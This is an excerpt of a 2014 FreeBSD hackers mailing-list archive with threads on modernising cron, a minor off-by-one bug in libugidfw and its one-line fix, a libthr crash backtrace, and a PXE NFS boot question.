participating. Please do continue this work, it seems very promising. >>>> Thank you! >>>>=20 >>>> I was myself looking forward to having these additions. Very cool. >>>=20 >>> Hi Tomek, >>>=20 >>> One of the things I like in some of the other cron's is the possibility t= o >>> add files to something like: /var/cron.d. >>> This as contract to /var/cron/tabs, where files need to and a= re >>> executed under that users privilidges. >>>=20 >>> Reason that this would be convenient is that tools like puppet don't nee= d to >>> start editing files to remove crontab lines. Which IMHO is always more h= airy >>> then just adding/deleting/updating a file called: >>> /var/cron.d/tool-ABC.cron >> This is absolutely useful and has existed in every large scale >> envrionment I know of. > Agreed, it would be a huge step forward for FreeBSD. >=20 IT is more or less how most tools operate now a days. - global config file Aka /etc/crontab - local config file=20 Aka /etc/crontab.local - directory (1 or more) Aka /var/cron/tabs with users And /var/cron.d for separate files with cron content. --WjW=20= From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 20:05:58 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8ED457DA; Mon, 23 Jun 2014 20:05:58 +0000 (UTC) Received: from mail-ob0-x231.google.com (mail-ob0-x231.google.com [IPv6:2607:f8b0:4003:c01::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 3B1582EC6; Mon, 23 Jun 2014 20:05:58 +0000 (UTC) Received: by mail-ob0-f177.google.com with SMTP id uy5so4385812obc.8 for ; Mon, 23 Jun 2014 13:05:57 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=92R649d+Xn+sZDrfblxViOcq4YESQxplNT1LAGlLklc=; b=twfbUJxF+oiCLm78huUzgEUJeVohxjuma4vAFGTTqDzokBxN+lrox3iP5c2E4d9Ncf CTgtezGiSCuIauGbeJO32CjOWnaRNHk2uGMEJxMBbfgb7iwf9WKu64WLuw1RyqaAHqYG gkTiRmgwaXL0Djwm4hcI4D3WY413O0+Nz9/wvBlYgb34YHpLtvB6ES94QYAaz13cOzXC xWcOPXJOtY7IN6LsfmyOMBpm6Qz+vS67jqb4x/MqgNatLv7RJKdy0Ag+Dchvn0ZPf9nB 6WK5u5klmVcZg7Yld2VDBX3Nm2HteGkFBt++uM2TDi6ajq6A1mrAUlIADG7/hqYYvmfA rpkw== MIME-Version: 1.0 X-Received: by 10.60.176.163 with SMTP id cj3mr5647995oec.34.1403553957513; Mon, 23 Jun 2014 13:05:57 -0700 (PDT) Received: by 10.76.154.8 with HTTP; Mon, 23 Jun 2014 13:05:57 -0700 (PDT) In-Reply-To: <20140623194815.GQ93733@kib.kiev.ua> References: <53A72666.8090101@cox.net> <53A78C13.8030909@freebsd.org> <53A82008.9050002@digiware.nl> <20140623194815.GQ93733@kib.kiev.ua> Date: Mon, 23 Jun 2014 22:05:57 +0200 Message-ID: Subject: Re: Improve cron(8) From: =?UTF-8?Q?Tomek_Wa=C5=82aszek?= To: Konstantin Belousov Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: "freebsd-hackers@freebsd.org" , Adrian Chadd , Willem Jan Withagen , Alfred Perlstein X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 23 Jun 2014 20:05:58 -0000 2014-06-23 21:48 GMT+02:00 Konstantin Belousov : > On Mon, Jun 23, 2014 at 09:33:38PM +0200, Tomek Wa??aszek wrote: > > 2014-06-23 18:53 GMT+02:00 Adrian Chadd : > > > > > On 23 June 2014 06:26, Tomek Wa??aszek wrote: > > > > > > > Hello, > > > > I got your point. > > > > From the technical perspective it should be quite easy to implement > this > > > > feature, but I'm not sure whether this will get positive feedback. = I > > > > remeber that there was a discussion on the OpenBSD mailing lists > (there > > > was > > > > even a patch for this) but they don't like the idea :) maybe FreeBS= D > > > > project will like it, I don't know. > > > > > > > > At the moment I want to update FreeBSD cron to ISC cron (with all t= he > > > > features that FreeBSD has at the moment and ISC does not have) and > > > > integrate atrun into cron like it was done in OpenBSD cron. After > that > > > (or > > > > faster who knows :)) maybe we should have a discussion about this > idea. > > > > > > Sweet! > > > > > > Well, hm. How should we do it? Can we run both cron's in the same > > > source tree and just pick which to build/install? They're both > > > different crons, right? Or is there a common ancestor that makes the > > > diff not so terrible? > > > > > > > > > -a > > > > > > > Hi, > > I don't quite follow you, who said that there will be cron's? There wil= l > be > > one cron, from the functional perspective it will work just like it is > > working now. The main differences will be that for example crontab will > not > > have suid, atrun will be integrated and it will for example has the > ability > > to run jobs from files in /var/cron.d but this will be not mandatory > > feature to use, /etc/crontab will stay. > > Could you, please, explain the methodology you use to ensure that > all local FreeBSD modifications to out version of the Vixie' cron > are carried forward together with the update ? > > We do not used the vendor imports/contrib workflow for the cron, > so FreeBSD-specific modifications are just sit there. The history > on head/usr.sbin/cron is huge, there is a lot of private changes > for the old codebase. > Hi, Yes, sure. The methodology is simple, if we can call this methodology. I download the new ISC CRON 4.1 and I'm going through the commit logs from usr.sbin/cron and adding the changes that were done in FreeBSD to ISC CRON 4.1. I don't know whether this is the best approach but I don't know any better at the moment. And this is still work in progress, not all of the changes are there. At first I was thinking of leaving ISC CRON 4.1 alone and only take care of the parts that were done in OpenBSD like atrun integration and poking cron via unix-domain socket. But on the FreeBSD ideas page there is written that the cron implementation is outdated and should be update to ISC cron. So I started doing it. --=20 Best regards, Tomasz Wa=C5=82aszek From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 24 04:23:11 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DECB22B9 for ; Tue, 24 Jun 2014 04:23:11 +0000 (UTC) Received: from mout.gmx.com (mout.gmx.com [74.208.4.201]) (using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 91F3D29DF for ; Tue, 24 Jun 2014 04:23:11 +0000 (UTC) Received: from [157.181.96.215] ([157.181.96.215]) by mail.gmx.com (mrgmxus001) with ESMTPSA (Nemesis) id 0M8lr8-1WpM0x1ysm-00CABi for ; Tue, 24 Jun 2014 06:17:59 +0200 Message-ID: <53A8FBD7.8000900@gmx.com> Date: Tue, 24 Jun 2014 06:17:27 +0200 From: dt71@gmx.com User-Agent: Mozilla/5.0 (X11; FreeBSD i386; rv:29.0) Gecko/20100101 Firefox/29.0 SeaMonkey/2.26 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: OB1 References: <20140622135308.GF1824@pwnie.vrt.sourcefire.com> In-Reply-To: <20140622135308.GF1824@pwnie.vrt.sourcefire.com> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Provags-ID: V03:K0:rG2MUGf9g9APMlUVdzGeuxJ0kGaH45G60kJW1cs9jPP5ctsUda3 DX5/K4WNq+CrT08FMUmlPhjy+65bkWQiku9kv6w/7Spgg/JBt3DunC2SXwGtzA26NM5hLGE uEWJ9UMDirK2s9lTJSDzJTgYwmcRq3rhb2cVIh+CQP4gJfrDswAoXClKIsOWGW/DXn9cSVr NmSeroso5kn0PKLvrdTGA== X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 24 Jun 2014 04:23:11 -0000 Speaking of backdoors... lib/libugidfw/ugidfw.c: >if (len < 0 || len > left) ):< From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 24 06:50:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C0BBBD8A for ; Tue, 24 Jun 2014 06:50:05 +0000 (UTC) Received: from tensor.andric.com (tensor.andric.com [87.251.56.140]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client CN "tensor.andric.com", Issuer "CAcert Class 3 Root" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 7DEA124BD for ; Tue, 24 Jun 2014 06:50:05 +0000 (UTC) Received: from [IPv6:2001:7b8:3a7::f19a:b5ec:19bc:1f6c] (unknown [IPv6:2001:7b8:3a7:0:f19a:b5ec:19bc:1f6c]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by tensor.andric.com (Postfix) with ESMTPSA id A9ADB5C44; Tue, 24 Jun 2014 08:50:01 +0200 (CEST) Content-Type: multipart/signed; boundary="Apple-Mail=_DD81146C-A42E-4367-BFF5-12681B0F113F"; protocol="application/pgp-signature"; micalg=pgp-sha1 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: OB1 From: Dimitry Andric In-Reply-To: <53A8FBD7.8000900@gmx.com> Date: Tue, 24 Jun 2014 08:49:43 +0200 Message-Id: <12DA5575-B773-4D28-83BB-5AD1F1C84469@FreeBSD.org> References: <20140622135308.GF1824@pwnie.vrt.sourcefire.com> <53A8FBD7.8000900@gmx.com> To: dt71@gmx.com X-Mailer: Apple Mail (2.1878.2) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 24 Jun 2014 06:50:05 -0000 --Apple-Mail=_DD81146C-A42E-4367-BFF5-12681B0F113F Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii On 24 Jun 2014, at 06:17, dt71@gmx.com wrote: > Speaking of backdoors... > > lib/libugidfw/ugidfw.c: >> if (len < 0 || len > left) > > ):< Well, it's just another off-by-one, no need for conspiracy theories. :) Btw, I'd mailed about this in 2011 already, but it really isn't very important. The only consumer is ugidfw, and then only to print out the parsed rules. -Dimitry --Apple-Mail=_DD81146C-A42E-4367-BFF5-12681B0F113F Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.22 (Darwin) iEYEARECAAYFAlOpH5MACgkQsF6jCi4glqOuxgCg1jfgvhJnyV8ARSJufSkW0sH6 MzMAoIHjrb0LiA6QN6xmBzNDwqbd2Efj =THR0 -----END PGP SIGNATURE----- --Apple-Mail=_DD81146C-A42E-4367-BFF5-12681B0F113F-- From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 24 12:46:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 72F00966 for ; Tue, 24 Jun 2014 12:46:21 +0000 (UTC) Received: from mo1.mail-out.ovh.net (19.mo1.mail-out.ovh.net [178.32.97.206]) by mx1.freebsd.org (Postfix) with ESMTP id 3519824E6 for ; Tue, 24 Jun 2014 12:46:19 +0000 (UTC) Received: from mail636.ha.ovh.net (b6.ovh.net [213.186.33.56]) by mo1.mail-out.ovh.net (Postfix) with SMTP id BFD8DFF9492 for ; Tue, 24 Jun 2014 12:17:00 +0200 (CEST) Received: from b0.ovh.net (HELO queueout) (213.186.33.50) by b0.ovh.net with SMTP; 24 Jun 2014 12:17:02 +0200 Received: from user-31-174-26-85.play-internet.pl (HELO starpad.nine) (grzegorz@blach.pl@31.174.26.85) by ns0.ovh.net with SMTP; 24 Jun 2014 12:16:59 +0200 Message-ID: <53A95016.3090901@blach.pl> Date: Tue, 24 Jun 2014 12:16:54 +0200 From: Grzegorz Blach User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Crash probably in libthr Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Ovh-Tracer-Id: 5772207348915068635 X-Ovh-Remote: 31.174.26.85 (user-31-174-26-85.play-internet.pl) X-Ovh-Local: 213.186.33.20 (ns0.ovh.net) X-OVH-SPAMSTATE: OK X-OVH-SPAMSCORE: 0 X-OVH-SPAMCAUSE: gggruggvucftvghtrhhoucdtuddrfeejfedrtddtucetufdoteggodetrfcurfhrohhfihhlvgemucfqggfjnecuuegrihhlohhuthemuceftddtnecu X-Spam-Check: DONE|U 0.5/N X-VR-SPAMSTATE: OK X-VR-SPAMSCORE: 0 X-VR-SPAMCAUSE: gggruggvucftvghtrhhoucdtuddrfeejfedrtddtucetufdoteggodetrfcurfhrohhfihhlvgemucfqggfjnecuuegrihhlohhuthemuceftddtnecu X-Mailman-Approved-At: Tue, 24 Jun 2014 13:05:49 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 24 Jun 2014 12:46:21 -0000 On https://phab.enlightenment.org/T1330 I reported a crash in Enlightenment. After analyzing backtraces from valgrind and gdb we think this might be a bug in libthr. Backtrace from valgrind: https://phab.enlightenment.org/file/data/wlcvu7kmb5blxmgtnk2p/PHID-FILE-dimurhxlz4tvytoxnfup/valgrind2.log Backtrace from gdb: https://phab.enlightenment.org/file/data/zvbelqzjt4h3ppates6a/PHID-FILE-dsnaw3golsozpzlb7uqe/gdb2.log Have any one known what /usr/src/lib/libthr/arch/amd64/amd64/_umtx_op_err.S:37 does? From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 24 13:43:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 07305A79 for ; Tue, 24 Jun 2014 13:43:56 +0000 (UTC) Received: from mail-pa0-x22a.google.com (mail-pa0-x22a.google.com [IPv6:2607:f8b0:400e:c03::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CBAC02B64 for ; Tue, 24 Jun 2014 13:43:55 +0000 (UTC) Received: by mail-pa0-f42.google.com with SMTP id lj1so278599pab.29 for ; Tue, 24 Jun 2014 06:43:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=PAIxEW4KWhnhN9803EhOCaJnl6BtC/jFzkxyfvF7IOE=; b=fdfB/KU2g2uXCFaFAOn2Wt0kaybv8GfLD2+0cI4DUext2SiMWGX29GQwHr9HpNb/7L ry18pptmAQYVK+fQJ7+KQoEOu8KF0mmbC75T2hrOwm54snxefZyMAc/yhn2z2C4YncRU X5ff9cEnsRThhWv5iB0r/FUF+/QxJLvfEUcXc9O8AVBQq6WnBSuY66rx0iA5SDQ3yVp5 Vv8dJzD3MS5jJsKJhc4vqdhFant3J3gfy1SijSnSE9zOUAsSMfVrak29QZ/AZ/mPIzxk +Rhg8aWq9IT3Z6ywYKhcMHxpq+qRYvffbcUcJ+O6Mi7dKx1yncifceRBjMCLqVUYX+ai LP7g== MIME-Version: 1.0 X-Received: by 10.68.221.42 with SMTP id qb10mr1532541pbc.65.1403617435201; Tue, 24 Jun 2014 06:43:55 -0700 (PDT) Received: by 10.70.62.6 with HTTP; Tue, 24 Jun 2014 06:43:55 -0700 (PDT) Date: Tue, 24 Jun 2014 15:43:55 +0200 Message-ID: Subject: Mount freebsd file systems during pxe boot using NFS From: amine tay To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 24 Jun 2014 13:43:56 -0000 Hello, everyone , I have a little problem that took me 3 days of work and still no result or solution. I am trying to pxe boot a FreeBSD 9.2 i386 on a virtual machine. Everything is ok on my DHCP , TFTP and NFS server. DHCP : option root-path is set TFTP: my pxebot file NFS : /etc/exports file is filled with tha path of the image Once the client is booted it hangs when trying to mount system files as it is shown in the image attached. Also in my FreeBSD kernel I have : option NFS_ROOT I don't know what's the problem. and I commented out the /etc/fstab /etc/fstab (of FreeBSD image) #/dev/iso9660/FREEBSD_INSTALL / cd9660 ro 0 0 Thank you in advance for your help. Amine. From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 24 14:28:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2DF96B48; Tue, 24 Jun 2014 14:28:31 +0000 (UTC) Received: from mail-lb0-x22e.google.com (mail-lb0-x22e.google.com [IPv6:2a00:1450:4010:c04::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 7C6582FCD; Tue, 24 Jun 2014 14:28:30 +0000 (UTC) Received: by mail-lb0-f174.google.com with SMTP id u10so557402lbd.5 for ; Tue, 24 Jun 2014 07:28:28 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:from:date:message-id :subject:to:cc:content-type; bh=NarKZ/rKjGgj4JEqxBoIZ6B9vyhSAFFoX9ioXbL+WZo=; b=YB1Z6qvUflINFzcjbwprXKeFm0OC3ass6Vg/ESk7Fig0Wm5ZZq1dUpLvGxv+huCCNZ vUi6LrTCTdebpYlT+7CtWzTJOt2Em+Vb1/Cy9OVsk4/aGB6WlrVziC+RnOp1Nf8sqxlT KBGW99K58N2FHPmvCgaZerIVRzSX81aMyWCa3zeJGBaNfwmJQ5bms2vIfk8e8lNgQWtn Q8PAPQXvLRwopt1Lorgr+0g0i6bgPY3vVuBQ5FvBRGZmB5XBwKOPLPXNnswDrKpRRXmZ qNJoehcgIunJM75IfEi5fYjVYydr7pQa8tvH1DqFXwmYO/lJ0NOYr3RABolZWVUkccVy 86Ug== X-Received: by 10.152.87.102 with SMTP id w6mr942357laz.52.1403620108378; Tue, 24 Jun 2014 07:28:28 -0700 (PDT) MIME-Version: 1.0 Sender: royce.williams@gmail.com Received: by 10.112.119.211 with HTTP; Tue, 24 Jun 2014 07:28:08 -0700 (PDT) In-Reply-To: <12DA5575-B773-4D28-83BB-5AD1F1C84469@FreeBSD.org> References: <20140622135308.GF1824@pwnie.vrt.sourcefire.com> <53A8FBD7.8000900@gmx.com> <12DA5575-B773-4D28-83BB-5AD1F1C84469@FreeBSD.org> From: Royce Williams Date: Tue, 24 Jun 2014 06:28:08 -0800 X-Google-Sender-Auth: axV6_jq8LMf4s061_u1-njLM4zU Message-ID: Subject: Re: OB1 To: Dimitry Andric Content-Type: text/plain; charset=UTF-8 Cc: dt71@gmx.com, FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 24 Jun 2014 14:28:31 -0000 On Mon, Jun 23, 2014 at 10:49 PM, Dimitry Andric wrote: > On 24 Jun 2014, at 06:17, dt71@gmx.com wrote: >> Speaking of backdoors... >> >> lib/libugidfw/ugidfw.c: >>> if (len < 0 || len > left) >> >> ):< > > Well, it's just another off-by-one, no need for conspiracy theories. :) > > Btw, I'd mailed about this in 2011 already, but it really isn't very > important. The only consumer is ugidfw, and then only to print out the > parsed rules. I'm a relative C newbie. Could someone post what the fix would look like? Royce From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 24 15:28:17 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3758FAF0 for ; Tue, 24 Jun 2014 15:28:17 +0000 (UTC) Received: from tensor.andric.com (tensor.andric.com [87.251.56.140]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client CN "tensor.andric.com", Issuer "CAcert Class 3 Root" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id E6065266F for ; Tue, 24 Jun 2014 15:28:16 +0000 (UTC) Received: from [192.168.2.2] (unknown [77.243.161.229]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by tensor.andric.com (Postfix) with ESMTPSA id 14CBE5C44; Tue, 24 Jun 2014 17:28:05 +0200 (CEST) Content-Type: multipart/signed; boundary="Apple-Mail=_0F02A87B-0942-4DF8-B267-0E5BFE3DE192"; protocol="application/pgp-signature"; micalg=pgp-sha1 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.2\)) Subject: Re: OB1 From: Dimitry Andric In-Reply-To: Date: Tue, 24 Jun 2014 17:27:46 +0200 Message-Id: <0788DB21-6F15-46D4-A4CB-F95008D736E9@FreeBSD.org> References: <20140622135308.GF1824@pwnie.vrt.sourcefire.com> <53A8FBD7.8000900@gmx.com> <12DA5575-B773-4D28-83BB-5AD1F1C84469@FreeBSD.org> To: Royce Williams X-Mailer: Apple Mail (2.1878.2) Cc: dt71@gmx.com, FreeBSD Hackers X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 24 Jun 2014 15:28:17 -0000 --Apple-Mail=_0F02A87B-0942-4DF8-B267-0E5BFE3DE192 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii On 24 Jun 2014, at 16:28, Royce Williams wrote: > On Mon, Jun 23, 2014 at 10:49 PM, Dimitry Andric wrote: >> On 24 Jun 2014, at 06:17, dt71@gmx.com wrote: >>> Speaking of backdoors... >>> >>> lib/libugidfw/ugidfw.c: >>>> if (len < 0 || len > left) >>> >>> ):< >> >> Well, it's just another off-by-one, no need for conspiracy theories. :) >> >> Btw, I'd mailed about this in 2011 already, but it really isn't very >> important. The only consumer is ugidfw, and then only to print out the >> parsed rules. > > I'm a relative C newbie. Could someone post what the fix would look like? Just replace all the "len > left" expressions with "len >= left". -Dimitry --Apple-Mail=_0F02A87B-0942-4DF8-B267-0E5BFE3DE192 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Version: GnuPG/MacGPG2 v2.0.22 (Darwin) iEYEARECAAYFAlOpmP4ACgkQsF6jCi4glqNMawCg7rUHBN/aotod/KnxMYHyVyOz WDMAoOPIgLpBcZFvPys8BgHHrYFqpCk2 =fCBd -----END PGP SIGNATURE----- --Apple-Mail=_0F02A87B-0942-4DF8-B267-0E5BFE3DE192-- From owner-freebsd-hackers@FreeBSD.ORG Tue Jun 24 20:56:59 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C202EC2B for ; Tue, 24 Jun 2014 20:56:59 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 3429A2D48 for ; Tue, 24 Jun 2014 20:56:59 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.9/8.14.9) with ESMTP id s5OKsKd2061261; Tue, 24 Jun 2014 23:54:20 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s5OKsKd2061261 Received: (from kostik@localhost) by tom.home (8.14.9/8.14.8/Submit) id s5OKsKjk061260; Tue, 24 Jun 2014 23:54:20 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Tue, 24 Jun 2014 23:54:20 +0300 From: Konstantin Belousov To: Grzegorz Blach Subject: Re: Crash probably in libthr Message-ID: <20140624205420.GZ93733@kib.kiev.ua> References: <53A95016.3090901@blach.pl> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="zOTFI1MayFoZtDo5" Content-Disposition: inline In-Reply-To: <53A95016.3090901@blach.pl> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 24 Jun 2014 20:56:59 -0000 --zOTFI1MayFoZtDo5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Jun 24, 2014 at 12:16:54PM +0200, Grzegorz Blach wrote: > On https://phab.enlightenment.org/T1330 I reported a crash in > Enlightenment. After analyzing backtraces from valgrind and gdb we think > this might be a bug in libthr. And how did you come to this conclusion ? > Backtrace from valgrind: > https://phab.enlightenment.org/file/data/wlcvu7kmb5blxmgtnk2p/PHID-FILE-d= imurhxlz4tvytoxnfup/valgrind2.log > Backtrace from gdb: > https://phab.enlightenment.org/file/data/zvbelqzjt4h3ppates6a/PHID-FILE-d= snaw3golsozpzlb7uqe/gdb2.log >=20 > Have any one known what > /usr/src/lib/libthr/arch/amd64/amd64/_umtx_op_err.S:37 does? The gdb backtrace you posted reports that the SIGSEGV occured in the thread with lwp id 100363. According to the same log, innermost frame for the thread is in _op_blend_p_dp_mmx(), which is line 11 in the file src/lib/evas/common/./evas_op_blend/op_blend_pixel_i386.c. umtx_op is the syscall which typically parks thread in the kernel while waiting for unblock. It appeared in the log because your process is multithreaded and that other thread slept waiting for an event. --zOTFI1MayFoZtDo5 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTqeV8AAoJEJDCuSvBvK1BaQkP/3lenWjs4wFntulSJ41FMECV DO/mCd95159kNwj7BleGL6k4X3SNSQmQBCBHUahhW74f+305RM2NP+6b7ZN9j6OA 4oApYARDjpDivaJ/NR9XkqqOb1vjbGrwIdY+DYnaewAcpxL1+CpAULPFNdlw6FkR vjMzZK59hcti1ijH452P87romRWfv0U4hO05nzqp9d1KBE3UVrMz7CdGgSx/+of+ OKX9IksW1ip4woUCiXjQSi/J8AqJglD4ukPIaSoyUYW7CFHxWhWSleIWJzljUbFw oEx85+2HlIzRPfNzrdvqAfa4JZU4dNfIC1DAeNj7t3TX4pE/Fu4JT9Eb7JC4O7Tr 1iSfTI5hutFmoL61uF9L2/aDn49FCWhwh2Fr6yN9+FMSpE/8XxFIanJFzaJ48TZ3 aF3UyYW0o13zZdmAvyfmxxBvrjlsApLj+ghGhDirWXuwuJmqZpxD9FpLygT0cum6 D1J2FCWdbsNJeFLS/oj4LsoHm8QefaWqj9ega7Uj3mOR7qotf7pRFTwEaYynAgs0 8Re6XNr3O47cfqzOQI3pPWWt910Up0wtJIHpQ8pjybSRvEJkIKv55VsvlRfuWhej 323svhgl3T7NAUfsKneYRbo8R9AGE8ADL5nqKNcMegIF9CxVrwzX4xzhcftrWJ8Q 0r4EFFzRVdy3xNnJ+o// =CwyO -----END PGP SIGNATURE----- --zOTFI1MayFoZtDo5-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 25 